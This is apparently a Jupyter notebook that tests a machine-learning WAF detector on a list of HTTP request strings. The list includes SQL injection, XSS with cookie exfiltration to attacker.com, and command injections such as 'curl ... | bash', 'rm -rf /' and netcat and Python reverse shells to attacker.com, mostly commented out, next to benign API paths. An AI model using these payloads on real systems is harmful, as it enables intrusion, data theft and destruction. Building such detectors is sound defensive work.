step_2_testing.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 23,
   "id": "62d29b69-0a01-4684-aa63-fa2e5d4f9b07",
   "metadata": {},
   "outputs": [],
   "source": [
    "import joblib\n",
    "import base64"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "id": "177c5877-9478-459f-968d-9d3c6c0b7bb7",
   "metadata": {},
   "outputs": [],
   "source": [
    "class WafDetector:\n",
    "    def __init__(self):\n",
    "        self.predictor = joblib.load('./request_predictor_improved.joblib')\n",
    "\n",
    "    def try_decode_per_field(self, payload: str) -> str:\n",
    "        fields = payload.split('&')\n",
    "        decoded_fields = []\n",
    "        \n",
    "        for field in fields:\n",
    "            try:\n",
    "                if '=' in field:\n",
    "                    key, value = field.split('=', 1)\n",
    "                else:\n",
    "                    key, value = field, ''\n",
    "                \n",
    "                current_value = value\n",
    "                while True:\n",
    "                    decoded_value = base64.b64decode(current_value).decode('utf-8')\n",
    "                    current_value = decoded_value\n",
    "                \n",
    "            except (base64.binascii.Error, UnicodeDecodeError):\n",
    "                decoded_fields.append(f\"{key}={current_value}\" if value else key)\n",
    "        \n",
    "        return '&'.join(decoded_fields)\n",
    "\n",
    "    def parse_payload(self, payload):\n",
    "        if isinstance(payload, str):\n",
    "            return [payload]\n",
    "        elif isinstance(payload, list):\n",
    "            return payload\n",
    "        else:\n",
    "            raise ValueError(\"Payload must be a string or a list of strings.\")\n",
    "\n",
    "    def predict(self, payload):\n",
    "        results_payload = []\n",
    "\n",
    "        if isinstance(payload, str):\n",
    "            payload = [payload]\n",
    "        \n",
    "        for entry in payload:\n",
    "            decoded_entry = self.try_decode_per_field(entry)\n",
    "            results_payload.append(decoded_entry)\n",
    "        parsed_payload = self.parse_payload(results_payload)\n",
    "        return self.predictor.predict(parsed_payload)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "id": "7f7f5b2d-1c0e-4948-951c-5923b7aca62d",
   "metadata": {},
   "outputs": [],
   "source": [
    "waf = WafDetector()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "e2461ea7-5879-420c-94c3-0b643fb45185",
   "metadata": {},
   "outputs": [],
   "source": [
    "payloads = [\n",
    "    # SQL Injection\n",
    "    # \"username=admin' OR '1'='1&password=pass&submit=true\",\n",
    "    # \"username=kiannaquines&password=password@1234&is_admin=true&submit=true' OR '1' = '1 --\",\n",
    "    # \"username=admin' OR '1'='1' -- &password=pass&submit=true\",\n",
    "    # \"username=admin' UNION SELECT null, username, password FROM users -- &password=pass&submit=true\",\n",
    "    # \"username=admin' AND 1=CONVERT(int, (SELECT @@version)) -- &password=pass&submit=true\",\n",
    "    # \"username=admin' AND (SELECT COUNT(*) FROM users) > 0 -- &password=pass&submit=true\",\n",
    "    # \"username=admin'; DROP TABLE users; -- &password=pass&submit=true\",  # Table Dropping\n",
    "    # \"username=admin'; EXEC xp_cmdshell('net user hacker Password123 /add'); -- &password=pass&submit=true\",  # OS Command Execution via MSSQL\n",
    "    # \"username=admin'; WAITFOR DELAY '0:0:5'; -- &password=pass&submit=true\",  # Time-Based Blind SQLi\n",
    "    # \"username=admin' AND SLEEP(5) -- &password=pass&submit=true\",  # MySQL Time-Based Blind SQLi\n",
    "\n",
    "    # Advanced XSS (Cross-Site Scripting)\n",
    "    # \"username=<script>alert(document.cookie)</script>&password=test&submit=true\",  # Stealing Cookies\n",
    "    # \"username=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>&password=test&submit=true\",  # Exfiltrating Data\n",
    "    # \"username=<iframe srcdoc='<img src=x onerror=alert(`XSS`)>'></iframe>&password=test&submit=true\",  # Using srcdoc for XSS\n",
    "    # \"username=<svg><animate xlink:href=#xss attributeName=href values=javascript:alert('XSS') /><a id=xss><text x=20 y=20>XSS</text></a></svg>&password=test&submit=true\",  # SVG Animation XSS\n",
    "    # \"username=test\\\" autofocus onfocus=alert('XSS')&password=test&submit=true\",  # Autofocus Triggered XSS\n",
    "    # \"username=<div style=\\\"background-image:url(javascript:alert('XSS'))\\\"></div>&password=test&submit=true\",  # CSS Injection XSS\n",
    "    # \"username=<object data=javascript:alert('XSS')></object>&password=test&submit=true\",  # Object Tag XSS\n",
    "    # \"username=<embed src=javascript:alert('XSS')>&password=test&submit=true\",  # Embed Tag XSS\n",
    "\n",
    "    # Command Injection\n",
    "    # \"username=kiannaquines&password=password@1234567890&is_admin=true&submit=true; rm -rf /\",\n",
    "    # \"username=root&password=password&submit=true; ls -la\",\n",
    "    # \"username=admin&password=pass&submit=true; cat /etc/passwd\",\n",
    "    \"username=test&password=1234 | whoami&submit=true\",\n",
    "    # \"username=guest&password=abcd; echo hacked > /tmp/hack.txt&submit=true\",\n",
    "    # \"username=admin&password=pass&submit=true; ping -c 10 attacker.com\",  # Network Abuse\n",
    "    # \"username=admin&password=pass&submit=true; curl http://malicious-site.com/payload.sh | bash\",  # Remote Code Execution\n",
    "    # \"username=admin&password=pass&submit=true; nc -e /bin/sh attacker.com 4444\",  # Reverse Shell\n",
    "    # \"username=admin&password=pass&submit=true; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"attacker.com\\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\",  # Python Reverse Shell\n",
    "\n",
    "    # Path Traversal\n",
    "    \"username=admin&password=admin&submit=true&file=../../../../etc/passwd\",\n",
    "    \"username=user&password=pass&file=../../../../../../../windows/system32/cmd.exe\",\n",
    "    \"img_path=../../../../../../etc/passwd\",\n",
    "    \"file=..%2F..%2F..%2F..%2Fetc%2Fpasswd\",  # URL Encoded Path Traversal\n",
    "    \"file=%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd\",  # Double Dot Encoding\n",
    "    \"file=/var/www/html/../../../../../etc/passwd\",  # Absolute Path Traversal\n",
    "\n",
    "    \"/api/products\",              # Get all products\n",
    "    \"/api/products/456\",          # Get product by ID\n",
    "    \"/api/products/categories\",   # Get all product categories\n",
    "    \"/api/products?category=electronics&sort=price_desc\",  # Filtered product listing\n",
    "    \"/api/cart\",                  # Get user's shopping cart\n",
    "    \"/api/cart/add\",              # Add item to cart\n",
    "    \"/api/cart/remove\",           # Remove item from cart\n",
    "    \"/api/orders\",                # Get user orders\n",
    "    \"/api/orders/789\",            # Get order details\n",
    "    \"/api/orders/789/status\",     # Get order status\n",
    "\n",
    "    # Blog & Content\n",
    "    \"/api/blog\",                 # Get all blog posts\n",
    "    \"/api/blog/555\",             # Get specific blog post\n",
    "    \"/api/blog/categories\",      # Get blog categories\n",
    "    \"/api/blog/author/123\",      # Get posts by author\n",
    "\n",
    "    # Admin Endpoints (Restricted)\n",
    "    \"/api/admin/dashboard\",       # Admin dashboard data\n",
    "    \"/api/admin/users\",           # Manage users\n",
    "    \"/api/admin/orders\",          # Manage orders\n",
    "    \"/api/admin/products\",        # Manage products\n",
    "\n",
    "    # Search & Filtering\n",
    "    \"/api/search?q=laptop\",      # Global search\n",
    "    \"/api/search/users?q=johndoe\",  # Search users\n",
    "    \"/api/search/products?q=smartphone\",  # Search products\n",
    "\n",
    "    # Miscellaneous\n",
    "    \"/api/notifications\",        # Get user notifications\n",
    "    \"/api/settings\",             # Get global app settings\n",
    "    \"/api/version\",              # Get API version\n",
    "    \"/api/status\",               # Health check API\n",
    "    # NoSQL Injection\n",
    "    # XML External Entity (XXE)\n",
    "    # Insecure Deserialization\n",
    "    # Base64 Encoded (Valid and Malicious)\n",
    "    # HTTP Header Injection\n",
    "    # Open Redirect\n",
    "]\n",
    "\n",
    "result = waf.predict(payloads)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "4556235b-9452-47b3-97db-220786cd9767",
   "metadata": {},
   "outputs": [],
   "source": [
    "print(\"Prediction:\", result)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "42166386-d1a3-4a4b-abe4-188ae327e9d0",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.12.8"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}